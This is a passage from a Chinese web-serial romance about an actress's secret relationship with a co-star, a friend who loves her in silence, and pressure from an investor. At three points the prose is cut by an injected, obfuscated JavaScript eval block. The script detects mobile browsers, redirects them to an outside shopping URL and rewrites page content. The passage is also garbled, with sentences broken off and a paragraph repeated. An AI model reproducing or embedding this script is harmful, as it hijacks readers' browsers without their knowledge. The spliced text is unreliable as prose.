原以为这就算拍完了，谁知导演忽然来了一句：“洒江天和庄瑾，你俩加一场打戏吧。” “……”童颜想收工的腿默默缩了回去。 江述和魏子铭倒是很乐意，毕竟棋逢对手，两人也想比划比划，于是一拍即合，马上跟动作导演学招式。 都是悟性很高的演员，一点就透，学起来特别快。 正式开拍前，钱导说：“洒江天照上场戏的感觉就行，庄瑾要再放一放，两人对峙的劲儿，要给足。” 童颜暂时不用上场，就坐在场边围观。 乔乐小声问：“颜姐，‘放一放’啥意思啊？是说上一场洒江天演得，比庄瑾好吗？” 这话童颜不知道怎么回答。 说起来，这也是她第一次跟江述合作电视剧。 上次听心姐说他接了这个角色，童颜收工后直接杀到了他家，气势汹汹地说：“你怎么不告诉我？” 他正在看剧本，闻言淡淡道：“你早晚都会知道。” “那能一样吗？我什么都告诉你，你什么都不告诉我，消息还是我从别人嘴里听到的，算什么朋友！” 江述无话可说，她趁机要挟，讹了一幅油画。 那幅画他断断续续画了一个月，是海上日出景，童颜一见就喜欢，磨了很久，他都不松口送她。 算完了账，童颜开心了：“我要上《玉京》，你也要上《玉京》，多好啊，咱们终于有机会合作了！嗯？你这什么表情，不开心吗……” 他当时嘟囔什么？ “有什么可开心的，我宁愿你接那现代剧。” 气得她一个星期都没搭理他。 后来江述给她发微信，是一张照片。 蒜蓉扇贝、孜然鱿鱼、酱汁排骨、鲫鱼汤……童颜点开图片，气消了一半。 再看到那句“来吃饭”，她就颠颠跑过去了。 一向只知道江述做饭好吃，演戏嘛，以前也听圈里人说，江述戏不错，就是差点气运。 她虽然认同，但没有真正切身感受过，今天算是见识了。 瞧瞧这凌厉的眼神，流畅飘逸的动作，简直比庄瑾……不对，魏子铭当然是最好的！ 童颜兴致勃勃看了会儿热闹，导演喊她上场了。 她这场戏的镜头是全景，上去摆几个姿势，杀了俩人，顺利收工。 那边江述和魏子铭也过了。三人跟导演寒暄过，各自道别。 走前，魏子铭对童颜说：“伤口还是去医院看看，以防万一。” 童颜点点头：“好的，谢谢子铭哥。” 魏子铭离开了，童颜目送他的背影，直到人转过弯不见了，才收回视线。 回身，江述正嫌弃地盯着她。 童颜莫名：“你看啥？” “看你那一脸不值钱的笑。” * 拍摄近一个月时，童颜从乔乐那听说，有营销号在传她的八卦，说她在片场耍大牌，大热天把所有主创撂在摄影棚，自己在房车上休息，非得人三催死请才下车。 童颜上微博搜了搜，发现好几个号在说这事，文案都是一模一样。 她生了会儿气，恶狠狠地喝了一整杯奶茶。 本想着营销号也要恰饭，不过小打小闹，不用理会。 谁知不过几个小时的功夫，她居然上了微博热搜，话题是#童颜怼营销号#。 她一头雾水地点开话题词，原来有人在造谣营销号的微博下评论：你亲眼看见了？ 评论昵称是@童颜，头像也是她的微博头像。 但本尊的昵称是@童颜YY欸！一个乌龙，搞得她差点以为自己记忆断片了。 实时广场上大部分是她的粉丝在解释，让网友不要误会。 也有人说，既然正主不发声，那就是“耍大牌”锤死了呗！ 忍不了！ 童颜火速登录微博开战。 @童颜YY：能跟这么好的创作团队合作，我天天住在片场都愿意，干嘛耍大牌自砸饭碗啊？！到底是谁在信这些谣言。。。 配图：靓女无语。 发完她不生气了，林慧心的电话追过来了。 “你能不能先跟我打个招呼，预警下，啊？姑奶奶。” 童颜发博前，林慧心正在处理耍大牌这谣言，给童颜打电话也不是要指责，只是希望她做事之前报备一下，免得陷入被动。 毕竟今时不同往日，童颜已进入待爆小花之列了。 但童颜对自己的流量还没有清楚的认知，哪知道发个微博还得报备，于是不服气地说：“我要是跟你打招呼，你不让发，或者让我注意语气用词，那我这口气，就出得不痛快了。” 林慧心语塞。 童颜弱弱地道歉：“下次记得了……干嘛凶我……” “快点挂了吧，跟你说话我头疼……等等，你跟孙艺涵，保持点距离。” “什么意思？”童颜问。 林慧心没有多说，只道：“你听我的，跟人相处别那么掏心掏肺，也不是刚入行，听的见的经历的都不少，怎么不懂。” 撂了电话，童颜有点想不通，难道这次的事跟孙艺涵有关？可她们在剧组相处挺愉快的呀。 正一头雾水时，收到了魏子铭的微信消息。 MING：「还气吗？」 她忍不住嘴角上扬：「现在不气了。」加一个开心的表情。 MING：「摸摸头」 童颜盯着两个简笔画小人儿的表情包，愣住了。 这一个月来，他们虽然不常在一个棚里拍戏，但微信联系几乎一天也没断过。 关系越来越亲近，她难免贪心。有时他似是而非的一句话，她要琢磨好半天，但终归不敢奢望更多。 但这次，是她想多了吗？ 童颜没有回复。 很快，又一条消息。 MING：「今天收工后，一起吃饭吗？」 童颜感觉，全身的血液直接往脑瓜顶冲了。 这是约会吧？是吧？ 天呐，魏子铭居然约她吃饭了！ 生怕他反悔似的，童颜迅速回了一个“好的”。 丢下手机，她在房车上跳了起来，哐的一声，撞到了脑瓜顶。 童颜捂着头喊疼，脸上却是抑制不住的笑。 乔乐见状大惊，连连问：“怎么了，怎么了颜姐？” “我……”童颜抚了抚胸口，努力平复情绪说，“没事，我没事。” 手机里又来了消息。 江述：「今晚想吃什么？」 童颜没有急着回复，先点开她跟魏子铭的聊天窗口，截了一张图。 她要发给江述，跟他分享这个好消息。然而发送之前，她又犹豫了。 万一魏子铭对她没意思，是她自作多情呢？江述肯定要笑话她。 童颜克制住了分享的冲动，暗戳戳得意：「本姑娘有约了。」 发完就等江述回复，结果对面一直没动作，童颜忍不住又说：「你不问问是谁吗？」 这次聊天界面显示“对方正在输入”。 童颜觉得，江述肯定能猜到，毕竟他们之间一向是心有灵犀的。 有时候跟江述聊天，才起了个头，他就自然地接下了后面的话，好像住在人心里的幽灵一样，感觉敏锐得可怕。 如果他真猜到了，她就假装不经意地问问：有没有一种可能，魏子铭有点喜欢我。 结果等了半天，对面的信息一直没发过来，最后干脆连“正在输入”的提示都消失了。 童颜等不及，发过去一连串表情：「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只有一双眼睛露在外面，亮晶晶的，带着掩饰不住的笑意。 她的衣服被雨淋湿了，但这丝毫不影响她的好心情。 “江述，我要告诉你一个好消息，但你发誓要保密！”她兴奋地说。 江述静静地盯着她。 她的眼神那么急切，仿佛在等他答应，又好像确信他会保密，只需要他应一声“好”。 这一刻，像有人攥着他心脏，又涨又涩的感觉，他忽然不想让她太痛快，于是说：“为什么要告诉我？” 童颜愣了一下：“因为你是我的好朋友啊！” “你没有别的好朋友吗？” 他的话脱口而出，嗓音疏冷，一定吓到了她。 她眼中的笑意缓缓退去，摘下口罩，望着他呆了片刻，小心翼翼地说：“江述，你心情不好吗？” 她的手，还抓在他小臂上，仰着头，脸上满是担忧。 “嗯，不好。” “那你愿意跟我说说吗？或者，我能帮你做什么吗？” 他盯着那张过分漂亮的脸，喑声说：“你先走吧。” 她蓦然红了眼圈，抱住他，一下下拍他后背。 “是很不好的事吗？需要我陪你吗？” 江述沉默片刻，说：“不需要。我自己能消化。” 他身体僵着，被她的手臂紧紧困住，连抬手也不能。 童颜慢慢放开他，再次问：“到底发生了什么？连我也不能说吗？” 嗯。唯你不能。 对视片刻，他说：“我买了一盆“玫瑰”，没有养活。” 她皱眉：“胡说八道，我怎么不知道你买了什么玫瑰。再说，即便真买了没养活，再买一盆就好了呀！”她的神色松快不少，拍了下他的肩，“知道你哄我。不愿意说就算了，等你想说的时候，随时微信我，不要一个人偷偷伤心，知道吗？” 他扯了扯嘴角。 “那我先走了。本来要跟你说点事的，改天再说吧，你好好休息。” 童颜离开了，关门声轻轻的，玄关处一片静寂，连声控灯都熄了，只有窗外的雨声，愈加清晰可辨。 该给她拿把伞的。 江述站在昏暗里，意识在漆黑的宇宙里游荡很久，其实也不过须臾。 他打电话给她，那边很快接起：“喂。” “走出这栋楼了吗？” “还没有，我刚从电梯里出来。” “等着。” 他从门口架子上捡了把伞，打开门，走了出去。 8. 春宫 跨过年一月下旬，《玉京第一春》杀青的时候，童颜陷入了热恋。 风潇潇的戏份早在元旦前就杀青了，之后她参加了几个广告拍摄和采访，就又进组了。 新剧是奇幻现代剧，叫《灿烂的她》，说巧不巧，正是先前她跟江述提过的那个剧本。 制作方蹉跎数月，一直在等她的档期。童颜受宠若惊的，加上确实想尝试下现代剧，跟林慧心商量后，就定了这个本子。 进组大半个月，拍摄一直很顺利。 期间林慧心来探班，童颜正在场边坐着背台词，手里拿着剧本，看着看着就跑神了，连林慧心何时走到她身边都没发觉，嘴角挂着明晃晃的笑。 林慧心伸手到她脸前晃了晃。 “欸！想什么呢？” “心姐。”童颜惊醒，“你怎么来了？” “你不会……真谈恋爱了吧。”林慧心皱眉。 童颜忙左右看看，这下林慧心不用问了，直接锤死。 “别看了，没人听见。是……上个戏男主？” “你怎么知道的？”童颜震惊。 “靠一些专业经纪人的敏感性和警觉性。” 童颜把剧本扣在鼻子上，含羞带怯的双眼眨巴眨巴：“你不是来劝分的吧？” 林慧心盯着她，直到她眼神中流露出戒备，才叹了口气。 “人都有七情六欲，我从来不严格限制艺人谈恋爱，但前提是，不许因此影响工作。” 童颜瞬间眉开眼笑：“当然不会！我又不是恋爱脑。” “希望如此。”林慧心摇了摇头，从包里掏出一张邀请卡，递给她，“下周二晚，《玉京第一春》在横店举办杀青宴，我陪你去。” 童颜点头接过：“好的。” 林慧心过来就这个事，说完就要走了，离开前叮嘱道：“现在狗仔、代拍神出鬼没，你小心被人拍到，影响那位。咱们女生倒还好，曝光了无非被事业粉骂一骂，他那边，肯定是不能接受的。” “知道知道啦！我们说好了，暂时不对外公开，平时见面也很小心的。” * 杀青宴当晚，除了《玉京第一春》剧组全体主创外，出品方MTV和参投方追光影业的高层也来了不少。 宴开三十多桌，童颜坐在中心位的艺人大桌，魏子铭和孙艺涵都在主桌作陪。 席间觥筹交错，笑语连连，童颜时不时朝主桌瞟一眼，有时和魏子铭的视线对上，她就开心，有时看见孙艺涵跟魏子铭咬耳朵，她就生气。 大家相互敬酒，不知不觉喝得有点多。 童颜起身去卫生间，回厅时下意识找魏子铭，发现孙艺涵正把手搭在他肩头，两人几乎头碰头，在看什么东西。 于是一噘嘴，扭头又走出了宴会厅。 这家饭店楼高三层，楼后带个小院，院中石子路蜿蜿蜒蜒，两侧沟渠里水流潺潺，院角几丛青竹，旁边是个小小的露台。 倒是个雅致所在。 童颜下了楼，晃荡到院中露台上，坐在桌边散酒气。 正自得其乐赏景时，忽听背后传来人声：“怎么一个人在这？” 童颜吓了一跳，转头看向来人。 是一个陌生男人，约么二十岁多岁，不到三十，中等个头，穿黑色皮夹克和紧身牛仔裤，油哒哒的大背头，左耳戴一个钢圈耳环。 今晚宴席坐主桌的男人。 听说是追光影业老板潘秋生的小儿子潘昀，刚从国外留学回来继承家业。 童颜起身打招呼：“小潘总您好，我是童颜。” “叫我Austin吧，‘总’来‘总’去，把我叫老了。”他说着做了个请的手势，两人各自落座，中间隔着一把椅子，“看你今晚喝了不少，还行吗？” 童颜略感惊奇，笑道：“没事，今天开心。” “刚钱导还夸你，说你戏好，性格也好。最近有一部电影在筹备，导演孟山涛，大制作，女主，想不想上？” 潘昀翘着腿，左臂搁在椅背顶，右肘支在桌上，两指撑住下颌和太阳穴，一副闲散神态，盯着童颜说。 孟山涛，电影圈四大导演之一，捧出过四个国际影星，他的名字就是质量和口碑代名词，没有人不想上他的戏。 童颜不太敢信：“真的吗？我真的有机会吗？” “当然。”潘昀勾了勾嘴角，“咱们加个微信，改天我带你见一下导演。” 童颜被激动冲昏的头脑瞬间冷静下来。 天上掉馅饼，怎么会砸到她头上？入行这么些年，她又不是小白，当然清楚潘昀这句话背后的意思。 他以什么身份带她见导演？慈善家？无意中发现了一个演技天才，所以想当伯乐，给她介绍机会？ 别逗了。 手机就放在桌上，童颜只能打开微信，扫二维码的同时，她说：“那就多谢您费心了。回头我跟心姐做东，请您吃饭。” “别回头了，择日不如撞日，正好我知道一家不错的地方，一会儿你还有安排吗？” 两人加微信的当口，潘昀坐到了她隔壁的椅子上，离得太近，他那打量猎物的视线令人不适，童颜战术性后撤，靠在椅背角落，正要开口拒绝，忽被一个声音打断。 “童颜，你经纪人在找你。” 是江述！ 童颜瞬间眼睛亮起，转头看着江述，配合道：“哎呀，我才刚出来一会儿。”边说边起身，礼貌地跟潘昀告别，“不好意思啊Austin，我今晚还有别的行程，心姐在催了。” 说完朝潘昀颔首，跟江述一起离开了。 * 二人从侧门的楼梯上去，童颜说：“我瞧你今晚一直在喝酒，都没有单独去主桌敬个酒，懂不懂点规矩啊？” “原来你的眼里，还能看见别人啊。”江述双手插在兜里，闲闲地说。 他步子迈得大，走在童颜前面，刚上了三四级台阶，忽然停下脚，转身拉起童颜就往下走。 “你干嘛？”童颜惊讶。 “嘘。”江述竖起食指，挡在唇边，牵着她径直走到楼梯下的三角区，才轻道：“别出声。” 童颜莫名其妙。 突然，她的嘴巴微张，身形也僵住了。 有人在不知道二楼还是三楼的楼梯上……那个。 老天爷啊！虽然客人一般都走正门电梯，但也不是没人走楼梯啊！他们竟然在这里……就不怕人看见吗？到底有多忍不住啊啊啊啊…… 童颜尴尬得脚尖抠鞋底。尤其是当黑暗让听觉变得灵敏，女人的喘息和呻吟仿佛就在他们头顶。她的脸色，霎时从发际线红到了脖子根。 江述站在她对面，离得很近，两人身高差不少，童颜的眼睛正好在他喉结处，然后就发现，他的脖子也红了。 很好，她不是一个人了。 童颜微微仰头，强装镇定地看着江述，小声说：“是不是很尴尬。” 温热的气流喷在他的脖子，她今晚的香水味，是槐花调的，她最喜欢这个气味。 江述喉间轻动，“嗯”了一声。 童颜抿起嘴：“那我们说说话吧。你还没有回答我，为什么不去敬酒啊？” “不想去。” “啧。你这样不行的。主桌那群大佬，平时也不是天天能见到的，机会难得，你得去刷脸，才能有更多机会呀。” 江述微微俯首，瞧见她那双黑葡萄一样的眼睛里，满是认真的神色。 “知道了。”他说。想听她说说自己，又怕听到不想听的，迟疑片刻，终于还是问，“最近开心吗？” “开心啊！谈恋爱当然开心了。”她毫不犹豫地点头，嘴角漾起笑意。 自上次江述失态后，有一周时间，他们各自忙于拍摄，没有机会见面。 后来在组里见到，他看上去已经恢复正常了，童颜就找机会跟他分享了这个秘密，当时他没什么反应，只说让她尽情享受。 “也有不开心的时候，哎，找男朋友，果然不能找太红的。”她小声地嘟囔了一句。 江述问：“怎么了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464631|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他太忙了，行程一个接一个，从我杀青以后，我们一个半月就见了一回面，跟网恋似的。而且，他身边总是围着很多人，经纪人、助理、各种大佬、狗仔……还有其他漂亮女明星。” 童颜扁着嘴，有点郁闷地说。 “漂亮女明星？” 她小声叹了口气，额头“砰”地一下，抵在他肩头。 “比如今晚坐主桌那位啊。我本来觉得她人挺好的，后来发现，有点茶茶的……哎，背后这么说人不好，不提她了。” 头顶那对儿野鸳鸯还在继续，粗俗的话一句接一句，喘息声也越发放肆。 “怎么还没完事儿啊！”童颜恨恨地跺脚。 江述却巴不得，肩头这点份量能久一点。 可惜，下一秒就消失了。 童颜抬起头看他：“你最近顺利吗？算起来，咱们快两个月没见了，我上次给你发微信，你怎么不回我啊？”她说着生气了，捶了他一拳。 自从童颜开始恋爱，她的空余时间几乎被魏子铭塞满，和江述的联系不如往常多了，但偶尔也会发微信。 比如她和魏子铭约会，吃到好吃的餐厅，会分享给江述，或者看到好看的风景，也会拍照给他，让他有空一定要来。 上次是给他发了一张微信截图，她和魏子铭的聊天。 魏子铭养了一只蜥蜴，童颜最怕软体动物，但魏子铭却养了一只，还问她好看吗？ 童颜简直浑身发毛。 她不能说不好看，毕竟是他养了很多年的宠物，但也想让他知道，自己不喜欢。 想了半天，不知道怎么回复，于是问江述：「如果我说不喜欢，或者害怕，他会生气吗？」 童颜总是这样，遇到什么难题，会习惯性地来问江述的意见，只要是他说的，她就觉得是可靠的。 但江述并不想当她爱情的军师。 此刻面对她的质问，江述没有回答，反问她：“你为什么问我？” “什么为什么？” “你的喜好要不要告诉他，这是你们应该探索的相处方式，为什么要来问我？” “当然是因为，你也是男生，最懂男生的心理。我不想因为我的话，害他生气或者失落嘛！” “如果他不能体谅你的感受，你为什么要和这样的人在一起？” 童颜完全没想到，话题的走向会发展到这里，看上去江述压抑着不快，这让她很不解，眉头随即皱了起来。 “你不回我微信在先，这会儿又咄咄逼人，是这段时间我哪里对不起你，你不想和我做朋友了？” 她自认没做错什么事，但也不排除，江述因为什么事对她生了误会，所以还是问清楚的好。娱乐圈能交到真心朋友不容易，她很珍惜和江述的友谊，如果他要跟她分道扬镳……她不知道，想象不到那种情况。 江述揉了揉太阳穴，轻声说：“抱歉。我刚才语气不好。没有……不想和你做朋友。” 童颜松了一口气，面露担忧之色：“最近工作压力太大了吗？你看你，有什么事都不和我说，你翻翻咱们的聊天记录，看是不是每次都要我主动找你……欸，我也是话有点多，咱俩中和中和就好了。以后我克制一下，不拿小事烦你了。” “没有嫌你烦。”他扯了扯嘴角，“别说话了，春宫要结束了。” 童颜已全然忘了眼下是什么处境，被他一提醒，尴尬卷土重来，瞬间随着血液流遍全身每一个毛孔。 她红着脸瞄他一眼，小声念叨：“可真够长的。” 轻笑和喘息的余韵里，童颜收到了魏子铭的微信，问她在哪。 这一瞬间，她忽然反应起来：干嘛要在这傻站着啊，他们可以转到正门，去坐电梯呀！ 她懊恼地捶了捶额头，一边解锁手机屏幕，一边拽着江述往外走。 “童颜。” 声音从头顶传来，她漫不经心地“嗯”了一声。 “你说男女之间……” 童颜停住脚，抬眼与江述对视。 9. 心思 这一刻，江述无法形容自己的心情，也不知道在她眼中，他是什么神情——有没有泄露他既希望能好好隐藏，又期待她突然发现的心思。 关于他想变成一只猫，乖顺地伏在她身边，等待她温暖的怀抱和轻柔的抚摸，哪怕只有片刻都好。 顿了片刻，他说：“没事。” 晚上十点半，杀青宴散场。 童颜回家换了身衣服，从头到脚武装得严严实实，任是姨妈经过，都认不出来的程度。 她打车去了近郊的一家图书馆。 车程二十多分钟，有点无聊，给魏子铭发微信，一直没收到回复，应该在忙，百无聊赖间，忽然想起江述今晚奇怪的举动。 其实这种奇怪的感觉有一段时间了，只是她一直没空细琢磨。 就好像，以前的江述是一部能够打通的电话，虽然不是每次都接听，但你知道这个号码正常使用中，只要打，总会接通的。 而现在，他像一部坏了的电话，时常接不通，即便接了，也会滋滋一些令人莫名的电流声。 他们时常在断联的边缘徘徊，那种心有灵犀的感觉，淡了。 难道因为她恋爱了，无意间忽视了朋友的需求，让江述感觉受伤了，所以他不想跟她做朋友了？ 哎，男人的心思，好难猜。 童颜想了想，给林慧心发微信。 不开美颜：「心姐，江述最近有什么动向吗？你有听到圈内传什么消息吗？」 林慧心秒回。 心醉：「你们关系那么好，还需要从我这打听？」 不开美颜：「哎呀你快说嘛！他最近奇奇怪怪的，我想打听下，是不是发生什么事了。」 心醉：「坏事没有。好事有一件。」 不开美颜：「是什么？」 心醉：「他入行演的第一部电影，最近可能要上。」 不开美颜：「？？？？他还演过电影？」 童颜震惊了。 心醉：「你不知道吗。。。他出道就演了一部反腐电影，据说是反派男二，份量还挺重的，但是因为题材敏感，片中有些镜头审不过，所以鸽了好几年。」 不开美颜：「我不知道啊！！！从来没听他提过。。。」 心醉：「可能是因为拍完上不了映，他自己难受，所以也不想提吧。而且这几年，他一直没起来，谁会去讨论一个nobody呢，你自然就没听说了。」 不开美颜：「说什么呢！我家江述很厉害的，才不是nobody！要不，你把他从李正手里抢过来吧，我看这几年李正啥好资源也没给他。姐姐，你带江述吧！求求你了。」 心醉：「别闹。李正那么猴精的人，眼看江述要有起色了，他能愿意松口？不过你倒是可以帮姐跟江述敲敲边鼓，看他有没有心思。」 不开美颜：「拉倒吧！我们友谊的小船都快沉底了。」 心醉：「怎么回事？」 童颜叹了口气，不想多说，敷衍两句就结束了对话。 点开江述的聊天窗口，童颜想问问他电影的事，又想到今晚才说过，要克制自己，少去骚扰他，才两个小时就食言，不太好……还是改天吧。 目的地到了。 从外面看起来，这里很像艺术展览馆，通体白色，棱角分明的几何造型，侧墙上“三昧图书馆”五个大字以黑色细钢架搭成，简约中透着优雅。 馆内收藏的书有历史古籍、艺术杂志，还有医书孤本……都不是市面流行的热门书籍，甚至不是全新的。 馆主是魏子铭的发小，叫刘春行，一个热爱书籍、活得随心所欲的富二代。 魏子铭带童颜来过一次这里，二楼有间屋子，是私人会客室，玻璃窗从屋里能看清屋外，外面却看不清里面，正适合约会。 童颜在沙发上坐了会儿，收到了魏子铭视频电话。 她迟疑着接起来，问：“你这会儿方便吗？” 魏子铭笑着：“我自己开车，车上没别人。” “哦。” “打开窗边储物柜抽屉，最上层。” 童颜走过去，按照指示拉开抽屉。里面有个粉色的扁盒，十寸见方，上面印着宝格丽的logo。 魏子铭说：“送你的，看看。” 童颜把手机靠在墙上，腾出手来打开盒子。 里面是一条颈链，不闭合且不对称的独特设计，小拇指粗的金链通体镶钻，左侧以祖母绿宝石缠绕，底部镶嵌四颗玫红色水晶，右侧底部坠同色系宝石花瓣，华贵优雅，一看就知价值不凡。 童颜犹豫道：“太贵重了。” “本来想当面送你的，等不及想让你先看。”魏子铭温声说。 童颜扭捏了一会儿，说：“那等我以后挣了大钱，送你更贵的。” “好。” 她取出颈链戴好，摄像头对准脖子，问：“好看吗？” “非常漂亮。”他不吝赞美。 童颜眉眼弯弯：“你还有多久到呀？” 魏子铭瞟了眼反镜，说：“后边有狗仔，我正在带他们绕。” “啊……不能直接过来吗？你一个人来图书馆，没关系的吧？” 魏子铭摇了摇头：“万一你也被人跟踪了呢？有心人难免会联想。” 童颜愣了下，一时间心里说不清是什么滋味。 他们之间，需要这么谨慎吗……即便暴露又如何？想是这么想，但她也十分清楚，公开恋情绝不能如此草率。 “那你好好开车，注意安全。”童颜嘱咐。 魏子铭“嗯”了一声：“我尽快甩掉他们。”说完就挂了视频。 童颜在图书馆里等了半小时，仍然没有等到魏子铭，过了一会儿，收到他发来的一条微信。 「颜颜，你先回家，让春行开车送你，我临时有点事要处理。」 童颜盯着这两行字，失望到无以复加。 她试图再争取一下，于是说：「要处理多久呀？今晚赶不过来了吗？好想你。」 「乖，先回去睡觉吧。我也想你。」 童颜没有让刘春行送她，仍是打了一辆出租车，在凌晨两点时，回到了家。 * 第二天出工，童颜坐在化妆间里哈欠连天。 化妆师是用熟了的人，平时关系不错，见她这么困，笑着引她说话。 “颜姐，重金求瓜。” “什么瓜？” “魏孙恋情呀！你说，这是真的，还是炒作呀？” 童颜一下子清醒过来，看向镜子里的化妆师：“他们两个传绯闻了？” “你不知道吗？” 童颜当即打开手机，登录微博。 她昨晚回到家太晚，躺在床上郁闷得动都不想动，微信的通讯录从上划拉到下，又从下划拉到上，一直也没等到魏子铭的消息，不知不觉睡着了。 一睁眼五点半，着急忙慌起床往机场赶，下了飞机就来化妆，童颜根本不知道发生了什么。 此时看到热搜上明晃晃地挂着词条，#魏子铭孙艺涵#，只觉得荒诞。 点进去，置顶博文是一个娱记号发的： 有瓜速来！W姓顶流和S姓流量小花疑似恋爱中。配九宫格动图。 魏子铭和孙艺涵杀青宴上姿态亲密，男方在桌下牵女方的手。还有几个交颈贴脸的动图，是借位图。 这条爆料是凌晨一点发的，那会儿童颜还在三昧图书馆没走，难道魏子铭说要处理的事，就是这个？ 实时广场上有营销号扒出两人同款手机壳的，有各自粉丝口径一致辟谣的，也有说是为剧宣炒作的，热度还在上升。 造谣的人编的有鼻子有眼，连她这个正牌女友都不由将信将疑。 可是为什么会有这种消息呢？魏子铭知道吗，他为什么不跟她提呢？昨晚失约跟这件事有关吗？童颜很困惑。 看着自己男朋友跟别的女生动作亲密，很难不让人产生联想，即便是借位图，也够人酸一鼻子的。 童颜手比脑子快，当即给魏子铭发微信：「你还在忙吗？昨晚是因为孙艺涵，才失约的吗？」 对面一直没回复，童颜关上手机，情绪忽然低落下来。 化妆师见她意兴阑珊，也不再开口。 接下来的一整天，童颜都闷闷不乐。 拍戏时陷在人物情绪里还好点，中场休息时，就安静地坐在场边，鼓捣手机。 乔乐察觉她心情不好，问：“颜姐，喝奶茶吗？” 她摇了摇头，没有说话。 到收工时，童颜作为瓜主关联方，终于弄清了是怎么回事。 昨晚那些动图，疑似是孙艺涵方主动放出来的，没跟魏子铭团队商量。 但魏子铭团队也没证据证明是孙做的，即便有，两人同属一家经纪公司，作为同一部剧的男女主，也不可能在剧播之前有什么过激反应，只能引导网友朝剧宣炒作的方向去想，等待热度慢慢降下去。 魏子铭昨晚之所以爽约，是因为当时太过敏感。 刚爆出跟孙艺涵的“恋情”，若转头又被拍到“夜会童颜”，那就不是绯闻瓜，而是人品瓜了。 经纪人俞凯极力劝他，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她也明白，本身她的路人缘就一般，安静待着还被人黑，如果主动找事，都不知道会被解读成什么样，到时候公关的同事人仰马翻……伤敌一千自损八百，不值。 要放在以前，即便伤敌八百自损一千，她也是要冲的。 如前却要左右权衡，真是不爽啊！ 林慧心又发来消息： 「童童，圈内这种事我见多了，你的心情我理解，但这就是你们这段关系需要承受的，如果你调理不好自己的心态，影响的不只有你，还有他。你好好想想姐的话。」 童颜泄气地靠在椅背上。 她想找江述说说话，对着他的头像迟疑半天，最后还是放弃了。 这时，微信突然弹出一条消息。 Austin：「花收到了吗？」 童颜愣了两秒，才反应过来这个Austin就是昨晚那个潘昀。 什么花？她正一头雾水时，乔乐捧着一大束花走过来。 “颜姐，有人送你花。” 茉莉桔梗百合，幸好不是一大捧红玫瑰。 童颜有点头大，先回复对方：「刚收到，谢谢。」 Austin：「喜欢吗？」 不开美颜：「很美，让您破费了。」 花很好看，以后别送了。 童颜觉得，潘昀应该能看懂。但很显然，他没懂，也可能是假装不懂。 Austin：「不如人美。」 童颜不想再回复了，这样拉扯下去没完了。 乔乐见她腾出空了，问：“颜姐，花怎么办？” “放在车上散两天香气吧。” * 如林慧心所说，江述出道参演的首部电影《宦海》赶在春节放假前一天，2月3日上映了。 影片从官宣定档到上映，只有短短的四天时间，令人感觉片方有种“迟则生变”的焦虑感。 由于题材敏感，加上时间太过仓促，映前宣传动作不太多。 然而，在春节档大战第一天，《宦海》以8000万票房、同档期第四位的成绩鸣金收兵。 这已经是相当不错的成绩了。 一个没有流量演员参演的影片，题材也不是观众喜闻乐见的“合家欢”，能在大咖云集的春节档厮杀中取得第四名，所有人都没想到。 更没想到的是，上映第四天，《宦海》以5亿票房的成绩，杀到了同档期第一名！ “这再次印证了一个真理：好的作品，自会口口相传。”童颜在观影活动结束后，面对主持人采访时这样说。 彼时，江述和一众主创人员站在台上，童颜看着他，一种莫名的自豪感油然而生，不假思索地喊了一句：“江述，你是最棒的！” 10. 除夕 彼时，江述和一众主创人员站在台上，童颜看着他，一种莫名的自豪感油然而生，不假思索地喊了一句：“江述，你是最棒的！” 观众席哄笑鼓掌，台上主持人和剧作团队鞠躬致谢，江述牵起嘴角，笑了一下。 这几日，江述一直在跑线下路演，忙到一天只能睡三四个小时，有时一觉醒来，不知道自己在哪个城市，什么地方。 感觉有半辈子没见过童颜了。 今天观影时，他坐在第一排靠中间位置，童颜在他正后方的第三排，明明荧幕在眼前，却总觉得镜头在他身后。 心不在焉地坐到电影谢幕，他很期待听到童颜的感受，然而当她真的站起来，举起话筒时，又有些许忐忑。 入行的第一部作品，如今再看，有些地方的处理太青涩了，他自知不足，然而，听到她喊那一嗓子，不由失笑。 她总是戴着有色眼镜，盲目地相信他。 这就是，好朋友会做的事。 江述垂下眼，避开了童颜搞怪的视线。 主持人在逐个采访，轮到江述时，问：“如果有机会邀请人来看《宦海》这部电影，你最想邀请谁来一起看？” 他的目光掠过第三排，对主持人说：“我想邀请的人，已经在现场了……就是所有喜欢《宦海》的观众们。” 席间响起热烈的掌声。 有几个女生大声喊他的名字。 “江述——你演得好棒！” “宝藏男孩！” “你一定会火的！！！” 江述鞠躬致谢。 酒店房间里，李正关掉路演视频，对靠坐在床头的江述笑说：“你要火了。” 他正闭着眼假寐，闻言扯了扯嘴角：“差得远。” “真的。相信我的感觉。有很多粉丝在为你呐喊，以后会越来越多。你知道她们说什么？最强反派，演技秒杀，三观跟着五官跑。” “太夸张了。” 李正已经习惯了，江述这种对什么事情都淡淡的样子。 给好角色，他能锦上添花。给小角色，他也不说什么。一视同仁地演出自己的特色。 签进盛景娱乐三年半，江述在工作上一直都很配合，但平心而论，作为经纪人的他，却没给他争取到什么好资源。 没有拿得出手的作品，空有一副皮相，这样的艺人太多了。肥肉大家都想吃，公司照顾不过来，只能谁有话题度给谁。向平台推荐的时候，人家一句“没流量”，你什么话都说不出来。 怎么办呢？只有一个小角色、一个小角色，这么熬着，熬到出头的那一天。 